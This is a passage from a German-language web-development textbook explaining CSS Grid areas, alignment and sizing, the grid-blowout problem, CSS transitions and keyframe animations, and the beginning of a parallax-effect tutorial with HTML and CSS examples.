                Ein sehr wichtiger Punkt bei CSS-Grids ist die Erkenntnis, dass das Grid nur einen gedanklichen Raster über den Container legt. Das bedeutet, dass die durch die Grid-Lines begrenzten Grid-Cells nur im ersten Moment die eigentlichen Plätze für die Grid-Items darstellen – genau das haben wir im letzten Beispiel auch gesehen. Arbeitet man jedoch mit Grid-Areas (also der Zusammenfassung mehrerer Grid-Cells zu einem gemeinsamen Bereich (engl. area)), so stellt die Area den Platz für den Inhalt bereit.

                Eine solche Area definiert man über die Eigenschaft grid-template-area:

                .grid {
  ...
  grid-template-areas:
    "header header header header header"
    "nav nav nav nav nav"
    ". adv1 main adv2 ."
    ". adv1 nav2 adv2 ."
    "footer footer footer footer footer";
}


                Folgende Areas werden definiert:

                
                    	
                        header: Diese Area erstreckt sich über fünf Cells (der ersten Row).

                    

                    	
                        nav: erstreckt sich ebenfalls über fünf Cells (der zweiten Row).

                    

                    	
                        main: definiert die dritte Cell der dritten Row.

                    

                    	
                        adv1: definiert die zweite Col der dritten und vierten Row.

                    

                    	
                        adv2: definiert die vierte Col der dritten und vierten Row.

                    

                    	
                        footer: erstreckt sich über alle Cells der letzten Row.

                    

                

                Vier Cells werden hierbei ausgelassen: Diese werden mit einem . gekennzeichnet und bleiben bei der Belegung durch Inhalte unberücksichtigt, sofern keine weiteren Cells benötigt werden.

                Die Items selbst können alsdann durch Angabe von grid-area in die jeweiligen Areas platziert werden:

                HTML-Code:

                <div class="grid2">
  <header>Seiten-Header</header>
  <nav>Navigation</nav>
  <main>Hauptbereich</main>
  <nav>Footer-Navigation</nav>
  <footer>Seiten-Footer</footer>
  <aside>Werbung 1</aside>
  <aside>Werbung 2</aside>
</div>


                CSS-Code:

                .grid2 {
  display:grid;
  grid-template-columns:1fr 10em minmax(fit-content,71.25rem) 10em 1fr;
  grid-template-rows:8em 3em auto 3em 10em;
  grid-template-areas:
    "header header header header header"
    "nav nav nav nav nav"
    ". adv1 main adv2 ."
    ". adv1 nav2 adv2 ."
    "footer footer footer footer footer";
}
.grid2 header {
  grid-area:header;
}
.grid2 nav:first-of-type {
  grid-area:nav;
}
.grid2 nav:last-of-type {
  grid-area:nav2;
}
.grid2 main {
  grid-area:main;
}
.grid2 footer {
  grid-area:footer;
}
.grid2 aside:first-of-type {
  grid-area:adv1;
}
.grid2 aside:last-of-type {
  grid-area:adv2;
}


                Wenn nun Elemente hinzukommen, denen kein Platz zugewiesen wurde, werden diese in die mit Punkten gekennzeichneten Cells gelegt, wie Abbildung 6.75 zeigt.

                
                    [image: Ein Grid mit definierten Areas. Zwei Plätze sind frei geblieben.]

                    Abbildung 6.74    
            Ein Grid mit definierten Areas. Zwei Plätze sind frei geblieben.

                
                
                    [image: Die unbenannten Plätze werden von den Elementen belegt, denen keine Area zugewiesen wurde.]

                    Abbildung 6.75    
            Die unbenannten Plätze werden von den Elementen belegt, denen keine Area zugewiesen wurde.

                
                Was wäre aber nun, wenn keine Plätze mehr frei sind, weil es mehr Grid-Items als Plätze (Areas plus freie Cells) gibt? Nun, dann würde eine weitere Zeile eröffnet werden, in der die restlichen Items platziert werden (siehe Abbildung 6.76).

                
                    [image: Elemente, die keinen Platz mehr finden, eröffnen neue Cells und somit gegebenenfalls auch Rows]

                    Abbildung 6.76    
            Elemente, die keinen Platz mehr finden, eröffnen neue Cells und somit gegebenenfalls auch Rows

                
            
            
                Grid-Items versus Grid-Cells/Grid-Areas

                Nach allem, was wir bisher gesehen haben, ist es vernünftig anzunehmen, dass ein Grid-Item den gesamten Platz, den ihm eine Grid-Cell bzw. eine Grid-Area zur Verfügung stellt, auch einnimmt. Dies muss jedoch nicht der Fall sein, denn ausschlaggebend hierfür sind die Eigenschaften justify-items und align-items (ähnlich wie bei den Flexboxen – vergleiche hierzu Abschnitt 6.15, »Listenartiges Design mit CSS«). Da für beide Eigenschaften gilt, dass der Standardwert stretch ist, sieht es so aus, als würde der gesamte Platz immer ausgefüllt werden.

                Die möglichen Werte sind:

                
                    	
                        justify-items: start | end | center | stretch;

                    

                    	
                        align-items: start | end | center | stretch | baseline;

                    

                

                Würde man etwa justify-items:start; und align-items:center; ansetzen, so sähe das obige Beispiel wie in Abbildung 6.77 aus.

                
                    [image: Bei eingeblendetem Grid (Tipp: Entwicklerkonsole • Grid-Element anwählen und auf »grid« klicken) sieht man gut, wie sich die Grid-Items bei den ausgewählten Eigenschaften verhalten.]

                    Abbildung 6.77    
            Bei eingeblendetem Grid (Tipp: Entwicklerkonsole • Grid-Element anwählen und auf »grid« klicken) sieht man gut, wie sich die Grid-Items bei den ausgewählten Eigenschaften verhalten.

                
                Diese Spielwiese zum Testen der Grid-Eigenschaften finden Sie wie auch im Falle der Flexboxen im Downloadbereich des Buchs unter Tools.

                
                    [»]  Probleme bei schmalerem Grid

                    Wäre das Grid schmaler, so würde sich das Grid-Item mit dem Inhalt »Box Eeeeee EeeeeeEeeeee« mit dem Inhalt des rechts neben ihm stehenden Elements überlappen, da keine Möglichkeit des Textumbruchs gegeben ist und die Größe standardgemäß auf overflow:visible; gesetzt ist. (Dies gilt für alle Block-Elemente.) Erlaubt man einen Wortumbruch an einer beliebigen Stelle (word-break:break-all;), würde das Problem nicht auftreten.

                

                Neben diesen beiden Ausrichtungseigenschaften existiert noch das align-content, das dafür Sorge trägt, dass der gesamte Grid-Container innerhalb eines übergeordneten Containers ausgerichtet wird (sollte dieser mehr Platz bereitstellen, als der Grid-Container benötigt). Siehe hierzu etwa https://developer.mozilla.org/en-US/docs/Web/CSS/align-content.

            
            
                Eigenschaften von Grid-Items

                Wenn eine spezielle Positionierungsangabe fehlt, wird ein Grid-Item entsprechend der HTML-Reihenfolge an der nächsten freien Stelle im Grid platziert. Alternativ dazu kann ein Grid-Item (das wie hier beispielsweise mit der ID item kennzeichnen) jedoch auch auf Basis der Angabe von (benannten oder unbenannten) Grid-Lines oder einer Grid-Area platziert werden.

                Mit der Angabe von Grid-Lines sieht das so aus:

                #item {
  grid-column-start:2;
  grid-column-end:CC;
  grid-row-start:horiz;
  grid-row-end:CX;
}


                Alternativ kann die Angabe mit den Grid-Lines auch durch ein span erfolgen: Beispielsweise erzeugt ein grid-column: 2 / span 4; eine Platzierung in der Form, dass das Grid-Item bei der vertikalen Linie 2 beginnt und sich über insgesamt vier Grid-Cells erstreckt. Dasselbe kann natürlich auch für Zeilen angewandt werden.

                Mit der Angabe einer Grid-Area sieht das so aus:

                #item {
  grid-area:header;
}


                Die für das Grid global definierten Werte für justify-items und align-content können je Grid-Item mittels justify-self und align-self überschrieben werden.

            
            
                Größenangaben

                Im Rahmen von CSS-Grids sind weitere Größenangaben eingeführt worden:

                
                    	
                        minmax(minwert,maxwert) erzeugt einen Größenwert zwischen minwert und maxwert, wobei sowohl minwert als auch maxwert alle gewünschten Einheiten inklusive auto und fr besitzen können.

                        Siehe dazu: https://developer.mozilla.org/en-US/docs/Web/CSS/minmax

                    

                    	
                        fit-content(wert) passt die Größe entsprechend der Formel min(maximum size, max(minimum size, wert)) an.

                        Siehe dazu: https://developer.mozilla.org/en-US/docs/Web/CSS/fit-content

                    

                    	
                        repeat(anz,wert) erzeugt eine vorgegebene Anzahl anz an Spalten oder eine Zeile mit der angegebenen Größe, die wiederum alle Größeneinheiten inklusive minmax und fit-content aufweisen kann.

                        Siehe dazu: https://developer.mozilla.org/en-US/docs/Web/CSS/repeat

                    

                

                Hilfreich im Zusammenhang mit Größenangaben in CSS-Grids sind die Eigenschaften min-content und max-content, die sich am Platzbedarf des darin befindlichen Contents orientieren. So kann eine minmax-Angabe beispielsweise wie folgt aussehen:

                minmax(10em, 1fr)
minmax(400px, 50%)
minmax(30%, 300px)
minmax(100px, max-content)
minmax(min-content, 15em)
minmax(max-content, auto)
minmax(auto, 20em)
minmax(min-content, auto)


                Mögliche Angaben für repeat wären etwa:

                repeat(4, 1fr)
repeat(4, [col-start] 10em [col-end])
repeat(4, [col-start] 60% [col-end])
repeat(4, [col-start] 1fr [col-end])
repeat(4, [col-start] min-content [col-end])
repeat(4, [col-start] max-content [col-end])
repeat(4, [col-start] auto [col-end])
repeat(4, [col-start] minmax(100px, 1fr) [col-end])
repeat(4, [col-start] fit-content(20em) [col-end])
 
repeat(auto-fill, 10em)
repeat(auto-fit, 15em)
...


            
            
                Weitere Quellen

                Eine gute Quelle stellt die Site CSS-Tricks dar: https://css-tricks.com/snippets/css/complete-guide-grid/. Des Weiteren ist die Dokumentation von Mozilla eine sehr gute Referenz: https://developer.mozilla.org/de/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout.

            
            
                Das Problemfeld Grid-Blowout

                Unter einem Grid-Blowout versteht man das Problem, dass ein Grid zu groß wird, obwohl es mit einer maximalen Größenangabe versehen ist. Um dies zu verdeutlichen, betrachten wir folgendes Beispiel, in dem wir ein Grid mit zwei Spalten (eine Spalte mit variabler Breite, eine Spalte mit fixer Breite) definieren:

                Der HTML-Code:

                <div id="C">
  <p>Lorem ipsum dolor sit amet...</p>
  <div>15em</div>
</div>


                Der CSS-Code:

                #C {
  display:grid;
  grid-template-columns:1fr 15em;
}


                Das Ergebnis ist wie erwartet recht einfach (siehe Abbildung 6.78).

                
                    [image: Ein Grid, wie wir es erwartet haben: Die erste Spalte nimmt sich den zur Verfügung stehenden Rest, die zweite Spalte hat eine fixe Breite von 15 em.]

                    Abbildung 6.78    
            Ein Grid, wie wir es erwartet haben: Die erste Spalte nimmt sich den zur Verfügung stehenden Rest, die zweite Spalte hat eine fixe Breite von 15 em.

                
                Wenn wir nun die erste Spalte mit einem viel zu großen Bild befüllen, sieht die Sache schon etwas anders, aber immer noch nicht dramatisch aus (siehe Abbildung 6.79) – das bekommen wir in den Griff:

                <div id="C">
  <img src="face0.jpg" alt="Foto von Uwe Mutz (viel zu groß)">
  <div>15em</div>
</div>


                
                    [image: Das viel zu große Bild zerstört unser Grid. Mit einer »max-width« von 100 % für das Bild bekommen wir das Problem aber leicht in den Griff.]

                    Abbildung 6.79    
            Das viel zu große Bild zerstört unser Grid. Mit einer »max-width« von 100 % für das Bild bekommen wir das Problem aber leicht in den Griff.

                
                Weisen wir dem Bild eine maximale Breite von 100 % zu, ist das Problem gelöst:

                img {
  max-width:100%;
}


                Leider lässt sich nicht ein jedes HTML-Element so einfach in den Griff bekommen wie ein Bild (oder eine andere Mediendatei). Das beste Beispiel ist das Element <pre>, das den darin befindlichen Inhalt mit allen Einrückungen, Abständen etc. im Viewport ausgibt, wie dieser im HTML-Code steht:

                <div id="C">
  <div>
    Lorem ipsum dolor sit amet, consetetur sadipscing elitr...
    <pre>
      Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat...
    </pre>
    <img src="../../medien/faces/face0.jpg" alt="Foto von Uwe Mutz">
  </div>
  <div>15em</div>
</div>


                
                    [image: »max-width:100%« löst das Problem. Aber warten wir mal ab ...]

                    Abbildung 6.80    
            »max-width:100%« löst das Problem. Aber warten wir mal ab ...

                
                Mit dieser kleinen Änderung ist nun wieder alles im Argen, und selbst wenn wir dem <pre> eine maximale Breite und/oder ein overflow:hidden zuweisen, ändert das nichts am Ergebnis. Sehen Sie selbst.

                
                    [image: Das <pre> versalzt uns wiederum die Suppe.]

                    Abbildung 6.81    
            Das <pre> versalzt uns wiederum die Suppe.

                
                Gehen wir dem Problem also auf den Grund. Die Wurzel allen Übels besteht in der minimalen Breite einer Fraction (fr), die standardmäßig den Wert auto besitzt. Mit auto wächst die Zelle dann eben beliebig an, denn auto basiert ja auf der Größe des Inhalts. Legen wir die minimale Breite also mit 0 fest, so haben wir die Sache im Griff (siehe Abbildung 6.82):

                grid-template-columns: minmax(0,1fr) 15em


                
                    [image: Passt und sitzt: Definieren wir eine minimale Breite, so haben wir das Problem gelöst. Grid-Blowout adé.]

                    Abbildung 6.82    
            Passt und sitzt: Definieren wir eine minimale Breite, so haben wir das Problem gelöst. Grid-Blowout adé.

                
            
        
    


                    
                        
        6.18    Alles ist in Bewegung – Übergänge und Animationen

        Im Rahmen von CSS existieren zwei Arten von animierten Effekten:

        
            	
                Übergangseffekte

            

            	
                geplante Animationen – sogenannte Keyframe-Animationen

            

        

        CSS ist an sich als Animationstechnologie recht gut geeignet. Der große Vorteil von CSS-gesteuerten Animationen ist, dass der Browser in den Ablauf der Animation eingreifen kann. Dazu gibt es zwei Techniken:

        
            	
                Frame-skipping Technique: Sollte der Browser feststellen, dass eine geplante Animation nicht flüssig abgespielt werden kann, so kann er einzelne Frames überspringen, um einen flüssigen Ablauf zu gewährleisten. (Ein Frame ist ein Bruchteil einer Sekunde; beispielsweise ist ein Kinofilm in 24 Bilder pro Sekunde oder 24 Frames per Second (fps) unterteilt.)

            

            	
                Update Frequency Reduction: Animationen, die in inaktiven Tabs eines Browsers ablaufen, werden weniger häufig aktualisiert (z. B. anstatt 24-mal pro Sekunde nur noch 12-mal pro Sekunde), wodurch die allgemeine Performance des Browsers erhöht wird.

            

        

        Im Falle von JavaScript ist das nicht so, da die Animation durch im Programm berechnete Werte erfolgt, die mehr oder weniger stur umgesetzt werden. Wo immer es möglich ist, sollten Sie also auf CSS-Animationen zurückgreifen. Denken Sie beispielsweise an ein Computerspiel, in dem mithilfe der Tastatur ein Raumschiff horizontal auf dem Bildschirm bewegt werden soll: Klickt der User auf den Buchstaben (A), so soll das Raumschiff um fünf Pixel nach rechts bewegt werden. Würde man dies mit JavaScript realisieren, so würde man wahrscheinlich innerhalb einer halben Sekunde fünf Positionsänderungen des Raumschiffes vornehmen (pro Zehntelsekunde ein Pixel weiter nach rechts). In Kombination mit CSS hingegen würde JavaScript lediglich die Anfangs- und Endposition des Raumschiffes festlegen und dann eine CSS-Animation initiieren, die die Übergangswerte berechnet.

        Bevor wir uns das genauer ansehen, vorab noch eine kurze Abklärung, was mit Animation eigentlich gemeint ist: Eine Animation ist nicht mehr und nicht weniger als die Veränderung einer Eigenschaft in einer gewissen Zeitspanne. Um welche Eigenschaft es sich handelt, ist nebensächlich (obwohl nicht alle vorhandenen Eigenschaften auch animiert werden können). Nicht selten verbindet man das Wort »Animation« mit einer Bewegung, also mit einer Veränderung der Position eines Objektes. Dies ist natürlich auch eine Animation, aber eben nur ein Beispiel von vielen.

        
            6.18.1    Transitions als Vorstufe zu Animationen – die einfache Variante

            Übergangseffekte (Transitions) als die erste Variante erzeugen einen Übergang eines Eigenschaftswertes zu einem anderen, wobei dies fast jede Eigenschaft betreffen kann. Eine Auflistung animierbarer Eigenschaften ist unter https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_animated_properties zu finden, wobei die Liste sehr groß und lang ist. Allerdings ist eben nicht jede Eigenschaft sinnvoll animierbar. Beispielsweise wäre es vielleicht fein, einen Übergang von einer Schriftfamilie zu einer anderen zu versuchen; das ist jedoch nur sehr schwer machbar, da in diesem Fall viel Performance und Rechenleistung vom Interpreter gefordert wäre.

            Im Wesentlichen geht es darum, einen fließenden Übergang einer Eigenschaft zu erzeugen (transition-property), dessen

            
                	
                    Dauer (transition-duration),

                

                	
                    Übergangsform (transition-timing-function; optional) und

                

                	
                    Verzögerung (transition-delay; optional)

                

            

            definiert werden können. Die entscheidende Frage ist letztlich, wodurch der Übergang ausgelöst wird, denn anders als im Falle von Animationen, bei denen die Veränderungen zeitlich geplant werden, muss eine Transition irgendwie gestartet werden. Nicht selten erfolgt dies durch den Einsatz von Pseudoklassen wie etwa :hover oder :focus, da man in diesen Fällen auf den User reagieren kann.

            Betrachten wir zunächst die Schreibweise einer Transition. Entweder man definiert die Eigenschaften einzeln oder man verwendet die Kurzschreibweise transition: transition-property transition-duration transition-timing-function transition-delay:

            /* ausführliche Schreibweise: */
transition-property:color;
transition-duration:1s;
transition-timing-function:ease;
transition-delay:0.5s;
 
/* Kurzschreibweise: */
transition: color 1s ease 0.5s;


            Obiges Beispiel definiert einen Übergang der Schriftfarbe, der nach einer halben Sekunde startet, eine Sekunde dauert und als Übergangsfunktion ein ease verwendet. Die Übergangsfunktionen sind in CSS global definiert, wobei man sie sich grundlegend als drei Arten von Funktionen vorstellen kann. Diese Funktionen werden entweder eigenständig definiert oder man wählt diese aus der Menge der vorgegebenen Funktionen aus:

            
                	
                    lineare Funktionen: linear

                

                	
                    stufenförmige Funktionen: step-start | step-end

                

                	
                    Beziér-Kurven: ease | ease-in | ease-out | ease-in-out

                

            

            Insbesondere im Fall der Beziér-Kurven können Sie zusätzlich auf weitere vordefinierte Funktionen zurückgreifen, die unter https://easings.net/ aufrufbar sind.

            Wenn wir nun die obige Transition beispielsweise auf einen Absatz anwenden wollen, der bei einem Mouse-Over seine Farbe ändern soll, so würden wir dies wie folgt schreiben:

            p {
  color:blue;
  transition: color 1s ease 0.5s;
}
p:hover {
  color:red;
}


            Fraglich ist, welcher Selektion man den Übergang zuweist:

            
                	
                    Zuweisung zur allgemeinen Selektion (hier: p { … }): Dies bewirkt einen Übergangseffekt bei Mouse-Over, jedoch auch bei Mouse-Out, d. h. sowohl dann, wenn der User mit dem Zeigegerät (Maus etc.) über den Absatz fährt, als auch dann, wenn er das Zeigegerät wieder wegbewegt.

                

                	
                    Zuweisung bei Mouse-Over (p:hover { … }): In diesem Fall findet der Übergang nur dann statt, wenn der User das Zeigegerät auf den Absatz bewegt, nicht jedoch, wenn er dieses wieder vom Absatz wegbewegt. Der zweite Übergang erfolgt spontan (sprunghaft).

                

            

            Außerdem besteht die Möglichkeit, mehrere Übergänge gemeinsam zu definieren, indem die einzelnen Übergänge durch Kommas voneinander getrennt werden. Eine ausführliche Schreibweise ist an dieser Stelle ebenso möglich, indem man die einzelnen Übergangseigenschaften durch Kommas trennt.

            Die Kurzschreibweise ergibt folgenden Code:

            button {
  transition: background-color 0.75s, color 1s 0.25s;
  background-color: white;
  color: red;
}
button:hover {
  background-color: red;
  color:white;
}


            Die zugehörige ausführliche Schreibweise wäre:

            button {
  transition-property: background-color, color;
  transition-duration: 0.75s, 1s;
  transition-delay: 0s, 0.25s;
  background-color: white;
  color: red;
}
button:hover {
  background-color: red;
  color:white;
}


            Im obigen Code wird ein Übergangseffekt erzeugt, der einerseits die Hintergrundfarbe innerhalb einer dreiviertel Sekunde und andererseits die Schriftfarbe innerhalb einer Sekunde mit einer Verzögerung von einer viertel Sekunde animiert. Auf eine Darstellung der Übergangseffekte in Form von Screenshots verzichte ich aus verständlichen Gründen, denn da wäre lediglich ein Zeitraffer spannend.

        
        
            6.18.2    Keyframe-Animationen – Animation in Vollendung

            War es im Fall von Übergängen noch notwendig, dass der Übergang von einem Eigenschaftswert zu einem anderen durch ein Ereignis ausgelöst werden muss, so erlauben Animationen eine eigenständige Animation. Hierzu sind jedoch zwei Schritte notwendig:

            
                	
                    Zum einen muss die Animation, also die Veränderung einer oder mehrerer Eigenschaften, festgelegt werden, und

                

                	
                    zum anderen muss definiert werden, wann diese Veränderungen stattfinden sollen, wie lange sie dauern und welche Animations- oder Übergangsfunktion zum Einsatz gelangt.

                

            

            Ersteres erreicht man – ähnlich wie bei den Transitions – mit der Definition der Animationseigenschaften (animation bzw. deren Subeigenschaften wie animation-delay etc.). Um Zweiteres zu realisieren, werden sogenannte Keyframes eingesetzt. Wenn Sie sich eine Zeitleiste vorstellen, auf der eine Animation grafisch dargestellt wird, so sind die Keyframes diejenigen Zeitpunkte, an denen ein Anfangs- bzw. ein Endwert für eine zu animierende Eigenschaft festgelegt wird.

            Betrachten wir einmal ein erstes Beispiel:

            #d0 {
    animation-duration: 5s;
    animation-iteration-count: infinite;
    animation-timing-function:linear;
    animation-name: drehdich;
}
@keyframes drehdich {
    from {
        transform:rotate(0deg);
    }
    to {
        transform:rotate(360deg);
    }
}


            In diesem Beispiel wird zunächst eine Animation wie folgt festgelegt:

            
                	
                    Die Dauer der Animation wird mit fünf Sekunden festgelegt:

                    animation-duration: 5s;


                

                	
                    Die Animation soll endlos abgespielt werden:

                    animation-iteration-count: infinite;


                

                	
                    Die Animationsfunktion (vgl. transition-timing-function aus Abschnitt 6.18.1, »Transitions als Vorstufe zu Animationen – die einfache Variante«) soll gleichmäßig (linear) verlaufen:

                    animation-timing-function: linear;


                

                	
                    Der Animation wird ein Name zugewiesen, wodurch in weiterer Folge ein Zuweisen der Keyframes möglich wird:

                    animation-name: drehdich;


                

            

            Danach werden die Keyframes definiert, wobei in diesem Fall nur zwei Keyframes (Anfang und Ende, keine Zwischenschritte) verwendet werden:

            
                	
                    Zu Beginn der Animation (from { … }) soll die Rotation des Objekts mit 0° festgelegt werden:

                    transform: rotate(0deg);


                

                	
                    Am Ende der Animation (to { … }) soll die Rotation 360° betragen:

                    transform: rotate(360deg);


                

            

            Weil die Animation so geplant ist, dass sie endlos abläuft, bedeutet das: Wir haben ein Objekt, das sich innerhalb von fünf Sekunden einmal um die eigene Achse dreht, wobei diese Animation aber nie endet: Sobald eine Rotation abgeschlossen ist, beginnt die nächste. Hätten wir die Eigenschaft animation-iteration-count auf eine Zahl wie etwa 3 festgelegt, so würde sich das Objekt dreimal drehen und dann stehen bleiben.

            Nachdem wir nun eine erste Idee von Animationen haben, sehen wir uns die Animationseigenschaften noch einmal im Detail an:

            
                	
                    animation-duration: Die Dauer der Animation in (Bruchteilen von) Sekunden

                

                	
                    animation-iteration-count: Die Anzahl der Animationsabläufe als Zahl (1, 2, 3, … oder auch 2.5, 7.8, ...) oder in Form des Schlüsselwortes infinite (für »unendlich«)

                

                	
                    animation-timing-function: Legt die Funktion der Animation fest (vgl. transition-timing-function).

                

                	
                    animation-name: Legt den Namen der Animation fest, über den die Keyframes in weiterer Folge den Animationsverlauf definieren.

                

            

            Weitere Animationseigenschaften sind:

            
                	
                    animation-play-state: running | paused: Legt fest, ob die Animation läuft oder pausiert ist. Gerne wird der Play State geändert, wenn man beispielsweise mit dem Zeigegerät über Elemente fährt:

                    #d0:hover { animation-play-state: paused; }


                

                	
                    animation-delay: Legt in (Bruchteilen von) Sekunden fest, wie lange die Animation verzögert werden soll.

                

                	
                    animation-direction: normal | reverse | alternate | alternate-reverse: Legt fest, in welche Richtung die Animation starten soll. Beispielsweise ist im vorangegangenen Beispiel lediglich definiert worden, dass sich das betroffene Element einmal um die eigene Achse drehen soll – die Richtung (im oder gegen den Uhrzeigersinn) wurde jedoch nicht festgelegt:

                    
                        	
                            normal würde das Element im Uhrzeigersinn drehen.

                        

                        	
                            reverse würde das Element gegen den Uhrzeigersinn drehen.

                        

                        	
                            alternate würde das Element einmal im, einmal gegen den Uhrzeigersinn drehen.

                        

                        	
                            alternate-reverse würde das Element einmal gegen, dann im Uhrzeigersinn drehen (je nachdem, wie oft die Animation abläuft).

                        

                    

                

                	
                    animation-fill-mode: none | forwards | backwards | both: Legt fest, was mit der veränderten Eigenschaft geschehen soll, bevor die Animation startet bzw. nachdem die Animation beendet ist.

                    
                        	
                            none bedeutet, dass die zu animierende Eigenschaft so lange nicht geändert wird, wie die Animation nicht gestartet ist. Im folgenden Beispiel wird dem Element d0 ein zwei Pixel breiter, weißer Rahmen zugewiesen, die Animation jedoch um zwei Sekunden verzögert. Das bedeutet, dass mit der Einstellung animation-fill-mode der Rahmen die ersten zwei Sekunden weiß bleibt, sich nach den zwei Sekunden sprunghaft in Blau ändert und dann innerhalb von drei Sekunden in Rot geändert wird. Ist die Animation zu Ende, ist der Rahmen wieder weiß:

                            #d0 {
  border:2px solid white;
  animation-duration: 3s;
  animation-fill-mode:none;
  animation-delay:2s;
  animation-name: drehdich;
}
@keyframes drehdich {
  from {
    border-color:blue;
  }
  to {
    border-color:red;
  }
}


                        

                    

                    
                        	
                            forwards bedeutet im Unterschied zu none, dass am Ende der Animation diejenige Rahmenfarbe erhalten bleibt, die das Element am Ende der Animation hatte (hier: Rot).

                        

                        	
                            backwards wiederum bedeutet, dass dem Element die eigentliche Endfarbe (Rot) bereits vor Beginn der Animation zugewiesen wird, ihm dafür aber am Ende der Animation die Ausgangsfarbe zugewiesen wird (Weiß).

                        

                        	
                            both bedeutet, dass dem Element die Anfangsfarbe der Animation (Blau) noch vor dem Start der Animation zugewiesen wird und dass die Endfarbe (Rot) nach Ablauf der Animation erhalten bleibt.

                        

                    

                

            

            Auch für Animationen existiert eine Kurzschreibweise:

            animation: animation-name animation-duration animation-timing-function animation-delay animation-iteration-count animation-direction  
animation-fill-mode and animation-play-state;


            Weiters besteht wie bei den Transitions auch die Möglichkeit, mehrere Animationen hintereinander ablaufen zu lassen, indem man die geplanten Animationseigenschaften durch Kommas trennt:

            #d0 {
  border:2px solid white;
  animation-duration: 3s, 2s;
  animation-delay:2s, 1.5s;
  animation-name: drehdich, bewegdich;
}
@keyframes drehdich {
  from {
    transform: rotation(0deg);
    border-color:blue;
  }
  to {
    transform: rotation(360deg);
    border-color:red;
  }
}
@keyframes bewegdich {
  from {
    margin-left:0px;
  }
  to {
    margin-left:10em;
  }
}


            Wie das vorangegangene Beispiel zeigt, können sich Animationen auch überschneiden: Nachdem die erste Animation (bewegdich) mit einer Verzögerung von zwei Sekunden gestartet wurde und 1,5 Sekunden dauert, startet die zweite Animation (drehdich) mit einer Verzögerung von 3 Sekunden und somit, während die erste Animation noch im Gange ist. Bitte bedenken Sie an dieser Stelle, dass die geplanten Animationen nicht hintereinander ablaufen, nur weil sie mit Kommas aufgelistet sind: Jede Animation läuft unabhängig von jeder anderen Animation ab. Die Auflistung bedeutet lediglich »mehrere Animationen für diese Selektion«.

            In Abschnitt 6.23, »Übungsbeispiel«, finden Sie ein weiteres (vollständiges) Beispiel für eine Animation.

        
        
            6.18.3    Das Spiel mit der Perspektive: Der Parallax-Effekt

            Der Parallax-Effekt – auch Parallaxeneffekt genannt – basiert auf der Bewegungsparallaxe. Hierbei handelt es sich um ein Phänomen aus der Wahrnehmungspsychologie. Die Bewegungsparallaxe beschreibt die optische Täuschung, dass sich ein Objekt scheinbar bewegt, wenn der Beobachter seinen Betrachtungswinkel ändert.

            
                [Info]  3D vs. 2.5D

                Fälschlicherweise wird der Parallax-Effekt oft als 3D-Effekt bezeichnet. Das ist nicht korrekt, denn es wird kein echter dreidimensionaler Raum erzeugt (CSS ist dazu nicht in der Lage – hierfür existiert beispielsweise X3D). Der Parallax-Effekt ist lediglich ein berechneter Effekt. Derartiges bezeichnen wir gemeinhin als 2.5D und nicht als 3D.

            

            Grundsätzlich kann man sich den Parallax-Effekt sehr bildhaft vorstellen: Je weiter ein Objekt im Hintergrund liegt, umso weniger schnell scheint es sich zu bewegen, wenn wir den Blick auf es richten.

            Um diesen Effekt auf Websites zu nutzen, benötigen wir demnach ein paar Dinge:

            
                	
                    Ebenen, die in der Tiefenachse hintereinander aufgereiht sind. Nun, darüber wissen Sie bereits Bescheid, denn das sind absolut positionierte Elemente mit zugewiesenem z-index. (Zur Erinnerung: Der z-Index ist ein Maß für die Tiefenachse z.) Später werden Sie jedoch sehen, dass wir die Tiefenachse nicht über den z-Index, sondern über die Verschiebung (Translation) in z-Richtung erreichen werden.

                    <div id="C0">Ebene 0</div>
<div id="C1">Ebene 1</div>
<div id="C2">Ebene 2</div>


                

                	
                    Für die absolute Positionierung benötigen wir auch noch einen Container, an dem sich die absolut positionierten Elemente ausrichten können. Diesen Container packen wir rund um die bereits vorhandenen Container:

                    <div class="parallax">
  <div id="C0">Ebene 0</div>
  <div id="C1">Ebene 1</div>
  <div id="C2">Ebene 2</div>
</div>


                    Der bis dato benötigte CSS-Code wäre folgender:

                    .parallax {
  position:relative;
  height:100vh;
  overflow:hidden;
}
.parallax > * {
  position:absolute;
  left:0px;
  width:100%;
  height:100%;
}
.parallax > :nth-of-type(1) {
  z-index:1; /* nicht zwingend notwendig */
  top:10vh;
}
.parallax > :nth-of-type(2) {
  z-index:2; /* nicht zwingend notwendig */
  top:30vh;
}
.parallax > :nth-of-type(3) {
  z-index:3; /* nicht zwingend notwendig */
  top:50vh;
}


                    Der unterdrückte x-Overflow im umgebenden Parallax-Container (overflow-x: hidden) ist notwendig, damit durch einen eventuell auftretenden vertikalen Scrollbar kein horizontaler Scrollbar vonnöten wird. Im Falle moderner Browser, die den Scrollbar automatisch ausblenden, ist das nicht notwendig.

                    Die unterschiedlichen top-Abstände der drei Ebenen kommen nur deshalb zum Einsatz, um den Effekt beim Scrollen zu verdeutlichen.

                    Den aktuellen Zustand unseres Beispiels (mit eingefärbten Ebenen und einer anderen Schrift, um die Darstellung etwas attraktiver zu machen) sehen Sie in Abbildung 6.83.

                    
                        [image: Aktuell sieht noch nichts nach Parallax-Effekt aus. Das kommt aber noch.]

                        Abbildung 6.83    
            Aktuell sieht noch nichts nach Parallax-Effekt aus. Das kommt aber noch.

                    
                

                	
                    Den Ebenen im Parallax-Container wird nun eine Perspektive zugewiesen, was über die Eigenschaft perspective in CSS erfolgt. Wir wählen einen (sehr geringen) Wert von 1px:

                    .parallax {
  position:relative;
  height:100vh;
  overflow-x:hidden;
  perspective:1px;
  perspective-origin:top;
}


                    Bitte beachten Sie, dass die perspective-Eigenschaft gegebenenfalls den umgekehrten Effekt erzielt, den Sie vielleicht erwarten: Sie gibt den Abstand des Parallax-Containers zum User an. Somit gilt: Je kleiner der Wert ist, umso näher ist der Parallax-Container und umso deutlicher tritt der Parallax-Effekt zutage. Die perspective-origin legt den Fluchtpunkt für den Parallax-Effekt fest.

                

                	
                    Aber auch diese Angabe ist noch nicht ausreichend, da wir den einzelnen Containern noch keine Tiefen-Verschiebung in z-Richtung zugewiesen haben. Dies erfolgt über die translateZ-Werte der transform-Eigenschaft je Container:

                    .parallax > :nth-of-type(1) {
  z-index:1; /* nicht zwingend notwendig */
  top:10vh;
  transform:translateZ(-1px);
}
.parallax > :nth-of-type(2) {
  z-index:2; /* nicht zwingend notwendig */
  top:30vh;
  transform:translateZ(-0.5px);
}
